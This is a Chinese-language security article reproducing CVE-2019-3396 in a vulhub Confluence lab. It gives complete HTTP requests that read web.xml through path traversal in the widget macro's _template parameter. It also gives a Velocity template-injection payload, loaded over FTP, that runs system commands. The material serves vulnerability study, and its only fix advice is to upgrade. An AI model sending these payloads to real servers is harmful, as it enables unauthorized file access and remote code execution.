Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

  • A+
所属分类:安全文章

简介

 

Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。

 

影响版本

 

6.6.12版本之前所有版本6.7.0-6.12.2版本6.13.3之前的所有6.13.x版本6.14.2之前的所有6.14.x版本


 

环境搭建

 

这里使用vulhub来安装

地址:

https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396


进入目录

cd vulhub-master/confluence/CVE-2019-3396

启动一个Confluence Server 6.10.2版本的环境

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

访问http://your-ip:8090即可看到安装页面

选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书(不要选择Data Center和Addons)

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

把Server ID复制进去即可

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

再把key放进去即可


Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

按照顺序依次填入即可

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

安装完成

 

漏洞复现

 

构建数据包进行发送

POST /rest/tinymce/1/macro/preview HTTP/1.1Host: localhost:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeReferer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&Content-Type: application/json; charset=utf-8Content-Length: 176
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

成功读取web.xml

该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令

创建文件r.vm

#set ($exp="exp")#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))#set($sc = $exp.getClass().forName("java.util.Scanner"))#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))#set($scan=$constructor.newInstance($input).useDelimiter("\A"))#if($scan.hasNext())    $scan.next()#end

用python启动服务


python -m pyftpdlib -p  8888

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

构建数据包并发送

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.204.131:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.204.131:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Length: 195
X-Forwarded-For: 127.0.0.2
Connection: keep-alive


{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"ftp://192.168.204.131:8888/r.vm","command":"id"},"body":""}}

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

成功执行命令

 

修复建议

 

升级Confluence版本


本文始发于微信公众号(锋刃科技):Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: